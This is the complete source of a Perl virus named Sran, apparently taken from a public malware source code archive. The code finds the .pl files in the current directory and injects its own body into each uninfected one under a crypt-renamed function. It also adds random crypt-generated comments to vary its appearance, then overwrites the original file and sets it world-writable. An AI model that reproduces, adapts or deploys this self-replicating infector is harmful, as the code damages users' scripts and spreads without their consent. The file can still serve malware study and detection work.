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vxug-MalwareSourceCode/Perl/Virus.Perl.Sran.a
2020-11-14 01:37:26 -06:00

44 lines
1.2 KiB
Plaintext

Perl.Sran
qwerty();#
sub qwerty {
a: while (<*.pl>)
{
my $oF = "qwerty";
my $tN = "$ENV{\"HOME\"}/tmp/".crypt($_, $_), $oN = "./$_", $nF = crypt($_, $oF);
open (WE, "<$0");
open (IFILE, "<$_");
open (TEMP, ">$tN");
while (<IFILE>)
{
chomp;
if (/\#!Sran/) { unlink ($tN); next a }
elsif (!/#!\//) { print TEMP "$_\n" }
else { print TEMP "$_ #!Sran\n$nF();\n" }
}
while (<WE>)
{
$st = "";
s/#[0-9].*/$st/;
if (/sub $oF/ || /my \$oF =/) { $cW = 1; s/$oF/$nF/}
next if (/#!\/usr\/bin\/perl/ || /qwerty();#/ || !$cW);
if (int(rand(2))) { $st=" #".crypt($_, rand(256)) }
else {$st = ""}
chomp;
print TEMP "$_$st\n";
}
unlink ($oN);
rename ($tN, $oN);
chmod (0777, $oN);
}
}